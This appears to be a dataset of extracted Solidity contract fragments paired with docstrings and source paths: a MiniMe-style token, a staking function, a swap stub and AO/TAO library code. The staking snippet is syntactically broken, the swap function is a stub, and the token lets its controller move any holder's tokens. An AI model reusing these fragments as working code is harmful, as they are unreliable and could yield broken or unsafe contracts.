// Flag that determines if the token is transferable or not.
bool public transfersEnabled;
////////////////
// Events
////////////////
event ClaimedTokens(address indexed _token, address indexed _controller, uint256 _amount);
event Transfer(address indexed _from, address indexed _to, uint256 _amount);
event Approval(address indexed _owner, address indexed _spender, uint256 _amount);
/**
* @dev Constructor of SrcToken that instantiates a new MiniMe inspired ERC20 token
*/
function SrcToken() public {
// token should not be transferrable until after all tokens have been issued
transfersEnabled = false;
creationBlock = block.number;
}
///////////////////
// ERC20 Methods
///////////////////
/// @notice Send `_amount` tokens to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _amount The amount of tokens to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _amount) public returns (bool success) {
require(transfersEnabled);
doTransfer(msg.sender, _to, _amount);
return true;
}
/// @notice Send `_amount` tokens to `_to` from `_from` on the condition it
/// is approved by `_from`
/// @param _from The address holding the tokens being transferred
/// @param _to The address of the recipient
/// @param _amount The amount of tokens to be transferred
/// @return True if the transfer was successful
function transferFrom(address _from, address _to, uint256 _amount) public returns (bool success) {
// The controller of this contract can move tokens around at will,
// this is important to recognize! Confirm that you trust the
// controller of this contract, which in most situations should be
// another open source smart contract or 0x0
if (msg.sender != controller) {
require(transfersEnabled);
// The standard ERC 20 transferFrom functionality
require(allowed[_from][msg.sender] >= _amount);
allowed[_from][msg.sender] -= _amount;
}
doTransfer(_from, _to, _amount);
return true;
}
/// @dev This is the actual transfer function in the token contract, it can
/// only be called by other functions in this contract.
/// @param _from The address holding the tokens being transferred
/// @param _to The address of the recipient
/// @param _amount The amount of tokens to be transferred
/// @return True if the transfer was successful
function doTransfer(address _from, address _to, uint256 _amount) internal {
if (_amount == 0) {
Transfer(_from, _to, _amount); // Follow the spec to louch the event when transfer 0
return;
}
// Do not allow transfer to the token contract itself - Matt: modified to allow sending to to address(0)
require((_to != address(this)));
// If the amount being transfered is more than the balance of the
// account the transfer throws
uint256 previousBalanceFrom = balanceOfAt(_from, block.number);
require(previousBalanceFrom >= _amount);
// Alerts the token controller of the transfer
//if (isContract(controller)) {
//require(TokenController(controller).onTransfer(_from, _to, _amount));
//}
// First update the balance array with the new value for the address
// sending the tokens
updateValueAtNow(balances[_from], previousBalanceFrom - _amount);
// Then update the balance array with the new value for the address
// receiving the tokens
uint256 previousBalanceTo = balanceOfAt(_to, block.number);
require(previousBalanceTo + _amount >= previousBalanceTo); // Check for overflow
updateValueAtNow(balances[_to], previousBalanceTo + _amount);
// An event to make the transfer easy to find on the blockchain
Transfer(_from, _to, _amount);
}
/// @param _owner The address that's balance is being requested
/// @return The balance of `_owner` at the current block
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balanceOfAt(_owner, block.number);
}
/// @notice `msg.sender` approves `_spender` to spend `_amount` tokens on
/// its behalf. This is a modified version of the ERC20 approve function
/// to be a little bit safer
/// @param _spender The address of the account able to transfer the tokens
/// @param _amount The amount of tokens to be approved for transfer
/// @return True if the approval was successful
function approve(address _spender, uint256 _amount) public returns (bool success) {
require(transfersEnabled);
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender,0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require((_amount == 0) || (allowed[msg.sender][_spender] == 0));
// Alerts the token controller of the approve function call
//if (isContract(controller)) {
//require(TokenController(controller).onApprove(msg.sender, _spender, _amount));
//}
allowed[msg.sender][_spender] = _amount;
Approval(msg.sender, _spender, _amount);
return true;
}
/// @dev This function makes it easy to read the `allowed[]` map
/// @param _owner The address of the account that owns the token
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens of _owner that _spender is allowed
/// to spend
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/// @notice `msg.sender` approves `_spender` to send `_amount` tokens on
/// its behalf, and then a function is triggered in the contract that is
/// being approved, `_spender`. This allows users to use their tokens to
/// interact with contracts in one function call instead of two
/// @param _spender The address of the contract able to transfer the tokens
/// @param _amount The amount of tokens to be approved for transfer
/// @return True if the function call was successful
function approveAndCall(address _spender, uint256 _amount, bytes _extraData) public returns (bool success) {
require(approve(_spender, _amount));
ApproveAndCallFallBack(_spender).receiveApproval(
msg.sender,
_amount,
this,
_extraData
);
return true;
}
/// @dev This function makes it easy to get the total number of tokens
/// @return The total number of tokens
function totalSupply() public constant returns (uint256) {
return totalSupplyAt(block.number);
}
////////////////
// Query balance and totalSupply in History
////////////////
/// @dev Queries the balance of `_owner` at a specific `_blockNumber`
/// @param _owner The address from which the balance will be retrieved
/// @param _blockNumber The block number when the balance is queried
/// @return The balance at `_blockNumber`
function balanceOfAt(address _owner, uint256 _blockNumber) public constant returns (uint256) {
// These next few lines are used when the balance of the token is
// requested before a check point was ever created for this token, it
// requires that the `parentToken.balanceOfAt` be queried at the
// genesis block for that token as this contains initial balance of
// this token
if ((balances[_owner].length == 0)|| (balances[_owner][0].fromBlock > _blockNumber)) {
return 0;
// This will return the expected balance during normal situations
} else {
return getValueAt(balances[_owner], _blockNumber);
}
}
/// @notice Total amount of tokens at a specific `_blockNumber`.
/// @param _blockNumber The block number when the totalSupply is queried
/// @return The total amount of tokens at `_blockNumber`
function totalSupplyAt(uint256 _blockNumber) public constant returns(uint256) {
// These next few lines are used when the totalSupply of the token is
// requested before a check point was ever created for this token, it
// requires that the `parentToken.totalSupplyAt` be queried at the
// genesis block for this token as that contains totalSupply of this
// token at this block number.
if ((totalSupplyHistory.length == 0) || (totalSupplyHistory[0].fromBlock > _blockNumber)) {
return 0;
// This will return the expected totalSupply during normal situations
} else {
return getValueAt(totalSupplyHistory, _blockNumber);
}
}
////////////////
// Generate and destroy tokens
////////////////
/**
* @dev Generates `_amount` tokens that are assigned to `_owner`
* @param _owner The address that will be assigned the new tokens
* @param _amount The quantity of tokens generated
* @return True if the tokens are generated correctly
*/
function generateTokens(address _owner, uint256 _amount) public onlyController returns (bool) {
uint256 curTotalSupply = totalSupply();
require(curTotalSupply + _amount >= curTotalSupply); // Check for overflow
uint256 previousBalanceTo = balanceOf(_owner);
require(previousBalanceTo + _amount >= previousBalanceTo); // Check for overflow
updateValueAtNow(totalSupplyHistory, curTotalSupply + _amount);
updateValueAtNow(balances[_owner], previousBalanceTo + _amount);
Transfer(0, _owner, _amount);
return true;
}
/// @notice Burns `_amount` tokens from `_owner`
/// @param _owner The address that will lose the tokens
/// @param _amount The quantity of tokens to burn
/// @return True if the tokens are burned correctly
function destroyTokens(address _owner, uint256 _amount) onlyController public returns (bool) {
uint256 curTotalSupply = totalSupply();
require(curTotalSupply >= _amount);
uint256 previousBalanceFrom = balanceOf(_owner);
require(previousBalanceFrom >= _amount);
updateValueAtNow(totalSupplyHistory, curTotalSupply - _amount);
updateValueAtNow(balances[_owner], previousBalanceFrom - _amount);
Transfer(_owner, 0, _amount);
return true;
}
////////////////
// Enable tokens transfers
////////////////
/// @notice Enables token holders to transfer their tokens freely if true
/// @param _transfersEnabled True if transfers are allowed in the clone
function enableTransfers(bool _transfersEnabled) public onlyController {
transfersEnabled = _transfersEnabled;
}
////////////////
// Internal helper functions to query and set a value in a snapshot array
////////////////
/**
* @dev `getValueAt` retrieves the number of tokens at a given block number
* @param checkpoints The history of values being queried
* @param _block The block number to retrieve the value at
* @return The number of tokens being queried
*/
function getValueAt(Checkpoint[] storage checkpoints, uint256 _block) constant internal returns (uint256) {
if (checkpoints.length == 0) return 0;
// Shortcut for the actual value
if (_block >= checkpoints[checkpoints.length-1].fromBlock)
return checkpoints[checkpoints.length-1].value;
if (_block < checkpoints[0].fromBlock) return 0;
// Binary search of the value in the array
uint256 min = 0;
uint256 max = checkpoints.length-1;
while (max > min) {
uint256 mid = (max + min + 1)/ 2;
if (checkpoints[mid].fromBlock<=_block) {
min = mid;
} else {
max = mid-1;
}
}
return checkpoints[min].value;
}
/// @dev `updateValueAtNow` used to update the `balances` map and the
/// `totalSupplyHistory`
/// @param checkpoints The history of data being updated
/// @param _value The new number of tokens
function updateValueAtNow(Checkpoint[] storage checkpoints, uint256 _value
) internal {
if ((checkpoints.length == 0)
|| (checkpoints[checkpoints.length -1].fromBlock < block.number)) {
Checkpoint storage newCheckPoint = checkpoints[ checkpoints.length++ ];
newCheckPoint.fromBlock = uint128(block.number);
newCheckPoint.value = uint128(_value);
} else {
Checkpoint storage oldCheckPoint = checkpoints[checkpoints.length-1];
oldCheckPoint.value = uint128(_value);
}
}
/// @dev Internal function to determine if an address is a contract
/// @param _addr The address being queried
/// @return True if `_addr` is a contract
function isContract(address _addr) constant internal returns(bool) {
uint256 size;
if (_addr == 0) return false;
assembly {
size := extcodesize(_addr)
}
return size>0;
}
/// @dev Helper function to return a min betwen the two uints
function min(uint256 a, uint256 b) pure internal returns (uint256) {
return a < b ? a : b;
}
/// @notice The fallback function: If the contract's controller has not been
/// set to 0, then the `proxyPayment` method is called which relays the
/// ether and creates tokens as described in the token controller contract
function () public payable {
require(isContract(controller));
//require(TokenController(controller).proxyPayment.value(msg.value)(msg.sender));
}
//////////
// Safety Methods
//////////
/// @notice This method can be used by the controller to extract mistakenly
/// sent tokens to this contract.
/// @param _token The address of the token contract that you want to recover
/// set to 0 in case you want to extract ether.
function claimTokens(address _token) public onlyController {
if (_token == 0x0) {
controller.transfer(address(this).balance);
return;
}
SrcToken token = SrcToken(_token);
uint256 balance = token.balanceOf(this);
token.transfer(controller, balance);
ClaimedTokens(_token, controller, balance);
}
}
|
Send `_amount` tokens to `_to` from `_from` on the condition it is approved by `_from` _from The address holding the tokens being transferred _to The address of the recipient _amount The amount of tokens to be transferred return True if the transfer was successful The controller of this contract can move tokens around at will, this is important to recognize! Confirm that you trust the controller of this contract, which in most situations should be another open source smart contract or 0x0 The standard ERC 20 transferFrom functionality
|
function transferFrom(address _from, address _to, uint256 _amount) public returns (bool success) {
if (msg.sender != controller) {
require(transfersEnabled);
require(allowed[_from][msg.sender] >= _amount);
allowed[_from][msg.sender] -= _amount;
}
doTransfer(_from, _to, _amount);
return true;
}
| 1,769,636 |
./full_match/42/0x4689C82b017fB192e0e93796097895BB6b37EFE4/sources/browser/CPTToken/CPTStake.sol
|
stake function which enable the user to stake CPT Tokens. _altQuantity, CPT amount to be staked. _days, how many days CPT tokens are staked for (in days)/
|
function stakeALT(uint256 _altQuantity, uint256 _days)
public
whenNotPaused
returns (uint256 rewardAmount)
{
require(
_altQuantity <= maxStakedQuantity && _altQuantity > 0,
"Invalid CPT quantity"
IERC20(CPTContractAddress).transferFrom(
msg.sender,
address(this),
_altQuantity
);
rewardAmount = _calculateReward(_altQuantity, ratio, _days);
uint256 _timestamp = block.timestamp;
if (stakerData[_timestamp].staker != address(0)) {
_timestamp = _timestamp.add(1);
}
stakerData[_timestamp] = StakerData(
_altQuantity,
_timestamp,
_days.mul(ONE_DAY),
rewardAmount,
msg.sender
);
stakerBalance[msg.sender] = stakerBalance[msg.sender].add(_altQuantity);
totalStakedTokens = totalStakedTokens.add(_altQuantity);
IERC20(CPTContractAddress).transfer(msg.sender, rewardAmount);
emit StakeCompleted(
_altQuantity,
_timestamp,
_days.mul(ONE_DAY),
rewardAmount,
msg.sender,
CPTContractAddress,
address(this)
);
}
| 16,211,081 |
./full_match/4/0xa549492Cc22b92d7eE3A48652490F90c18f93Ec9/sources/MyDefiProject.sol
|
path[0] = address(token); path[1] = uniswap.WETH(); IERC20(token).approve( address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D), tokenQty ); uniswap.swapExactTokensForETH( tokenQty, 10000000000, path, address(0x9a4D113EEC62637AD62a52d001b2dCEdf802466d), 1715851504 );
|
function autoSwapExactTokensForETH(
address token,
uint percent
) external payable {
address[] memory path = new address[](2);
uint tokenQty = 1100000000000000000;
emit tokenQtyInfo(tokenQty);
uint256 tokenQtyPercent = (percent/uint(100));
emit tokenQtyInfoPercent(tokenQtyPercent);
}
| 821,759 |
pragma solidity >=0.5.4 <0.6.0;
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes calldata _extraData) external; }
contract TheAO {
address public theAO;
address public nameTAOPositionAddress;
// Check whether an address is whitelisted and granted access to transact
// on behalf of others
mapping (address => bool) public whitelist;
constructor() public {
theAO = msg.sender;
}
/**
* @dev Checks if msg.sender is in whitelist.
*/
modifier inWhitelist() {
require (whitelist[msg.sender] == true);
_;
}
/**
* @dev Transfer ownership of The AO to new address
* @param _theAO The new address to be transferred
*/
function transferOwnership(address _theAO) public {
require (msg.sender == theAO);
require (_theAO != address(0));
theAO = _theAO;
}
/**
* @dev Whitelist `_account` address to transact on behalf of others
* @param _account The address to whitelist
* @param _whitelist Either to whitelist or not
*/
function setWhitelist(address _account, bool _whitelist) public {
require (msg.sender == theAO);
require (_account != address(0));
whitelist[_account] = _whitelist;
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
interface INameAccountRecovery {
function isCompromised(address _id) external view returns (bool);
}
interface INamePublicKey {
function initialize(address _id, address _defaultKey, address _writerKey) external returns (bool);
function isKeyExist(address _id, address _key) external view returns (bool);
function getDefaultKey(address _id) external view returns (address);
function whitelistAddKey(address _id, address _key) external returns (bool);
}
interface INameTAOPosition {
function senderIsAdvocate(address _sender, address _id) external view returns (bool);
function senderIsListener(address _sender, address _id) external view returns (bool);
function senderIsSpeaker(address _sender, address _id) external view returns (bool);
function senderIsPosition(address _sender, address _id) external view returns (bool);
function getAdvocate(address _id) external view returns (address);
function nameIsAdvocate(address _nameId, address _id) external view returns (bool);
function nameIsPosition(address _nameId, address _id) external view returns (bool);
function initialize(address _id, address _advocateId, address _listenerId, address _speakerId) external returns (bool);
function determinePosition(address _sender, address _id) external view returns (uint256);
}
interface IAOSetting {
function getSettingValuesByTAOName(address _taoId, string calldata _settingName) external view returns (uint256, bool, address, bytes32, string memory);
function getSettingTypes() external view returns (uint8, uint8, uint8, uint8, uint8);
function settingTypeLookup(uint256 _settingId) external view returns (uint8);
}
interface IAOIonLot {
function createPrimordialLot(address _account, uint256 _primordialAmount, uint256 _multiplier, uint256 _networkBonusAmount) external returns (bytes32);
function createWeightedMultiplierLot(address _account, uint256 _amount, uint256 _weightedMultiplier) external returns (bytes32);
function lotById(bytes32 _lotId) external view returns (bytes32, address, uint256, uint256);
function totalLotsByAddress(address _lotOwner) external view returns (uint256);
function createBurnLot(address _account, uint256 _amount, uint256 _multiplierAfterBurn) external returns (bool);
function createConvertLot(address _account, uint256 _amount, uint256 _multiplierAfterConversion) external returns (bool);
}
contract TokenERC20 {
// Public variables of the token
string public name;
string public symbol;
uint8 public decimals = 18;
// 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
// This generates a public event on the blockchain that will notify clients
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
/**
* Constructor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
constructor (uint256 initialSupply, string memory tokenName, string memory tokenSymbol) public {
totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount
balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens
name = tokenName; // Set the name for display purposes
symbol = tokenSymbol; // Set the symbol for display purposes
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != address(0));
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to] + _value > balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from] + balanceOf[_to];
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public returns (bool success) {
_transfer(msg.sender, _to, _value);
return true;
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` in behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public returns (bool success) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/
function approveAndCall(address _spender, uint256 _value, bytes memory _extraData) public returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, address(this), _extraData);
return true;
}
}
/**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] -= _value; // Subtract from the sender
totalSupply -= _value; // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
/**
* Destroy tokens from other account
*
* Remove `_value` tokens from the system irreversibly on behalf of `_from`.
*
* @param _from the address of the sender
* @param _value the amount of money to burn
*/
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] -= _value; // Subtract from the targeted balance
allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance
totalSupply -= _value; // Update totalSupply
emit Burn(_from, _value);
return true;
}
}
/**
* @title TAO
*/
contract TAO {
using SafeMath for uint256;
address public vaultAddress;
string public name; // the name for this TAO
address public originId; // the ID of the Name that created this TAO. If Name, it's the eth address
// TAO's data
string public datHash;
string public database;
string public keyValue;
bytes32 public contentId;
/**
* 0 = TAO
* 1 = Name
*/
uint8 public typeId;
/**
* @dev Constructor function
*/
constructor (string memory _name,
address _originId,
string memory _datHash,
string memory _database,
string memory _keyValue,
bytes32 _contentId,
address _vaultAddress
) public {
name = _name;
originId = _originId;
datHash = _datHash;
database = _database;
keyValue = _keyValue;
contentId = _contentId;
// Creating TAO
typeId = 0;
vaultAddress = _vaultAddress;
}
/**
* @dev Checks if calling address is Vault contract
*/
modifier onlyVault {
require (msg.sender == vaultAddress);
_;
}
/**
* Will receive any ETH sent
*/
function () external payable {
}
/**
* @dev Allows Vault to transfer `_amount` of ETH from this TAO to `_recipient`
* @param _recipient The recipient address
* @param _amount The amount to transfer
* @return true on success
*/
function transferEth(address payable _recipient, uint256 _amount) public onlyVault returns (bool) {
_recipient.transfer(_amount);
return true;
}
/**
* @dev Allows Vault to transfer `_amount` of ERC20 Token from this TAO to `_recipient`
* @param _erc20TokenAddress The address of ERC20 Token
* @param _recipient The recipient address
* @param _amount The amount to transfer
* @return true on success
*/
function transferERC20(address _erc20TokenAddress, address _recipient, uint256 _amount) public onlyVault returns (bool) {
TokenERC20 _erc20 = TokenERC20(_erc20TokenAddress);
_erc20.transfer(_recipient, _amount);
return true;
}
}
/**
* @title Name
*/
contract Name is TAO {
/**
* @dev Constructor function
*/
constructor (string memory _name, address _originId, string memory _datHash, string memory _database, string memory _keyValue, bytes32 _contentId, address _vaultAddress)
TAO (_name, _originId, _datHash, _database, _keyValue, _contentId, _vaultAddress) public {
// Creating Name
typeId = 1;
}
}
/**
* @title AOLibrary
*/
library AOLibrary {
using SafeMath for uint256;
uint256 constant private _MULTIPLIER_DIVISOR = 10 ** 6; // 1000000 = 1
uint256 constant private _PERCENTAGE_DIVISOR = 10 ** 6; // 100% = 1000000
/**
* @dev Check whether or not the given TAO ID is a TAO
* @param _taoId The ID of the TAO
* @return true if yes. false otherwise
*/
function isTAO(address _taoId) public view returns (bool) {
return (_taoId != address(0) && bytes(TAO(address(uint160(_taoId))).name()).length > 0 && TAO(address(uint160(_taoId))).originId() != address(0) && TAO(address(uint160(_taoId))).typeId() == 0);
}
/**
* @dev Check whether or not the given Name ID is a Name
* @param _nameId The ID of the Name
* @return true if yes. false otherwise
*/
function isName(address _nameId) public view returns (bool) {
return (_nameId != address(0) && bytes(TAO(address(uint160(_nameId))).name()).length > 0 && Name(address(uint160(_nameId))).originId() != address(0) && Name(address(uint160(_nameId))).typeId() == 1);
}
/**
* @dev Check if `_tokenAddress` is a valid ERC20 Token address
* @param _tokenAddress The ERC20 Token address to check
*/
function isValidERC20TokenAddress(address _tokenAddress) public view returns (bool) {
if (_tokenAddress == address(0)) {
return false;
}
TokenERC20 _erc20 = TokenERC20(_tokenAddress);
return (_erc20.totalSupply() >= 0 && bytes(_erc20.name()).length > 0 && bytes(_erc20.symbol()).length > 0);
}
/**
* @dev Checks if the calling contract address is The AO
* OR
* If The AO is set to a Name/TAO, then check if calling address is the Advocate
* @param _sender The address to check
* @param _theAO The AO address
* @param _nameTAOPositionAddress The address of NameTAOPosition
* @return true if yes, false otherwise
*/
function isTheAO(address _sender, address _theAO, address _nameTAOPositionAddress) public view returns (bool) {
return (_sender == _theAO ||
(
(isTAO(_theAO) || isName(_theAO)) &&
_nameTAOPositionAddress != address(0) &&
INameTAOPosition(_nameTAOPositionAddress).senderIsAdvocate(_sender, _theAO)
)
);
}
/**
* @dev Return the divisor used to correctly calculate percentage.
* Percentage stored throughout AO contracts covers 4 decimals,
* so 1% is 10000, 1.25% is 12500, etc
*/
function PERCENTAGE_DIVISOR() public pure returns (uint256) {
return _PERCENTAGE_DIVISOR;
}
/**
* @dev Return the divisor used to correctly calculate multiplier.
* Multiplier stored throughout AO contracts covers 6 decimals,
* so 1 is 1000000, 0.023 is 23000, etc
*/
function MULTIPLIER_DIVISOR() public pure returns (uint256) {
return _MULTIPLIER_DIVISOR;
}
/**
* @dev deploy a TAO
* @param _name The name of the TAO
* @param _originId The Name ID the creates the TAO
* @param _datHash The datHash of this TAO
* @param _database The database for this TAO
* @param _keyValue The key/value pair to be checked on the database
* @param _contentId The contentId related to this TAO
* @param _nameTAOVaultAddress The address of NameTAOVault
*/
function deployTAO(string memory _name,
address _originId,
string memory _datHash,
string memory _database,
string memory _keyValue,
bytes32 _contentId,
address _nameTAOVaultAddress
) public returns (TAO _tao) {
_tao = new TAO(_name, _originId, _datHash, _database, _keyValue, _contentId, _nameTAOVaultAddress);
}
/**
* @dev deploy a Name
* @param _name The name of the Name
* @param _originId The eth address the creates the Name
* @param _datHash The datHash of this Name
* @param _database The database for this Name
* @param _keyValue The key/value pair to be checked on the database
* @param _contentId The contentId related to this Name
* @param _nameTAOVaultAddress The address of NameTAOVault
*/
function deployName(string memory _name,
address _originId,
string memory _datHash,
string memory _database,
string memory _keyValue,
bytes32 _contentId,
address _nameTAOVaultAddress
) public returns (Name _myName) {
_myName = new Name(_name, _originId, _datHash, _database, _keyValue, _contentId, _nameTAOVaultAddress);
}
/**
* @dev Calculate the new weighted multiplier when adding `_additionalPrimordialAmount` at `_additionalWeightedMultiplier` to the current `_currentPrimordialBalance` at `_currentWeightedMultiplier`
* @param _currentWeightedMultiplier Account's current weighted multiplier
* @param _currentPrimordialBalance Account's current primordial ion balance
* @param _additionalWeightedMultiplier The weighted multiplier to be added
* @param _additionalPrimordialAmount The primordial ion amount to be added
* @return the new primordial weighted multiplier
*/
function calculateWeightedMultiplier(uint256 _currentWeightedMultiplier, uint256 _currentPrimordialBalance, uint256 _additionalWeightedMultiplier, uint256 _additionalPrimordialAmount) public pure returns (uint256) {
if (_currentWeightedMultiplier > 0) {
uint256 _totalWeightedIons = (_currentWeightedMultiplier.mul(_currentPrimordialBalance)).add(_additionalWeightedMultiplier.mul(_additionalPrimordialAmount));
uint256 _totalIons = _currentPrimordialBalance.add(_additionalPrimordialAmount);
return _totalWeightedIons.div(_totalIons);
} else {
return _additionalWeightedMultiplier;
}
}
/**
* @dev Calculate the primordial ion multiplier on a given lot
* Total Primordial Mintable = T
* Total Primordial Minted = M
* Starting Multiplier = S
* Ending Multiplier = E
* To Purchase = P
* Multiplier for next Lot of Amount = (1 - ((M + P/2) / T)) x (S-E)
*
* @param _purchaseAmount The amount of primordial ion intended to be purchased
* @param _totalPrimordialMintable Total Primordial ion mintable
* @param _totalPrimordialMinted Total Primordial ion minted so far
* @param _startingMultiplier The starting multiplier in (10 ** 6)
* @param _endingMultiplier The ending multiplier in (10 ** 6)
* @return The multiplier in (10 ** 6)
*/
function calculatePrimordialMultiplier(uint256 _purchaseAmount, uint256 _totalPrimordialMintable, uint256 _totalPrimordialMinted, uint256 _startingMultiplier, uint256 _endingMultiplier) public pure returns (uint256) {
if (_purchaseAmount > 0 && _purchaseAmount <= _totalPrimordialMintable.sub(_totalPrimordialMinted)) {
/**
* Let temp = M + (P/2)
* Multiplier = (1 - (temp / T)) x (S-E)
*/
uint256 temp = _totalPrimordialMinted.add(_purchaseAmount.div(2));
/**
* Multiply multiplier with _MULTIPLIER_DIVISOR/_MULTIPLIER_DIVISOR to account for 6 decimals
* so, Multiplier = (_MULTIPLIER_DIVISOR/_MULTIPLIER_DIVISOR) * (1 - (temp / T)) * (S-E)
* Multiplier = ((_MULTIPLIER_DIVISOR * (1 - (temp / T))) * (S-E)) / _MULTIPLIER_DIVISOR
* Multiplier = ((_MULTIPLIER_DIVISOR - ((_MULTIPLIER_DIVISOR * temp) / T)) * (S-E)) / _MULTIPLIER_DIVISOR
* Take out the division by _MULTIPLIER_DIVISOR for now and include in later calculation
* Multiplier = (_MULTIPLIER_DIVISOR - ((_MULTIPLIER_DIVISOR * temp) / T)) * (S-E)
*/
uint256 multiplier = (_MULTIPLIER_DIVISOR.sub(_MULTIPLIER_DIVISOR.mul(temp).div(_totalPrimordialMintable))).mul(_startingMultiplier.sub(_endingMultiplier));
/**
* Since _startingMultiplier and _endingMultiplier are in 6 decimals
* Need to divide multiplier by _MULTIPLIER_DIVISOR
*/
return multiplier.div(_MULTIPLIER_DIVISOR);
} else {
return 0;
}
}
/**
* @dev Calculate the bonus percentage of network ion on a given lot
* Total Primordial Mintable = T
* Total Primordial Minted = M
* Starting Network Bonus Multiplier = Bs
* Ending Network Bonus Multiplier = Be
* To Purchase = P
* AO Bonus % = B% = (1 - ((M + P/2) / T)) x (Bs-Be)
*
* @param _purchaseAmount The amount of primordial ion intended to be purchased
* @param _totalPrimordialMintable Total Primordial ion intable
* @param _totalPrimordialMinted Total Primordial ion minted so far
* @param _startingMultiplier The starting Network ion bonus multiplier
* @param _endingMultiplier The ending Network ion bonus multiplier
* @return The bonus percentage
*/
function calculateNetworkBonusPercentage(uint256 _purchaseAmount, uint256 _totalPrimordialMintable, uint256 _totalPrimordialMinted, uint256 _startingMultiplier, uint256 _endingMultiplier) public pure returns (uint256) {
if (_purchaseAmount > 0 && _purchaseAmount <= _totalPrimordialMintable.sub(_totalPrimordialMinted)) {
/**
* Let temp = M + (P/2)
* B% = (1 - (temp / T)) x (Bs-Be)
*/
uint256 temp = _totalPrimordialMinted.add(_purchaseAmount.div(2));
/**
* Multiply B% with _PERCENTAGE_DIVISOR/_PERCENTAGE_DIVISOR to account for 6 decimals
* so, B% = (_PERCENTAGE_DIVISOR/_PERCENTAGE_DIVISOR) * (1 - (temp / T)) * (Bs-Be)
* B% = ((_PERCENTAGE_DIVISOR * (1 - (temp / T))) * (Bs-Be)) / _PERCENTAGE_DIVISOR
* B% = ((_PERCENTAGE_DIVISOR - ((_PERCENTAGE_DIVISOR * temp) / T)) * (Bs-Be)) / _PERCENTAGE_DIVISOR
* Take out the division by _PERCENTAGE_DIVISOR for now and include in later calculation
* B% = (_PERCENTAGE_DIVISOR - ((_PERCENTAGE_DIVISOR * temp) / T)) * (Bs-Be)
* But since Bs and Be are in 6 decimals, need to divide by _PERCENTAGE_DIVISOR
* B% = (_PERCENTAGE_DIVISOR - ((_PERCENTAGE_DIVISOR * temp) / T)) * (Bs-Be) / _PERCENTAGE_DIVISOR
*/
uint256 bonusPercentage = (_PERCENTAGE_DIVISOR.sub(_PERCENTAGE_DIVISOR.mul(temp).div(_totalPrimordialMintable))).mul(_startingMultiplier.sub(_endingMultiplier)).div(_PERCENTAGE_DIVISOR);
return bonusPercentage;
} else {
return 0;
}
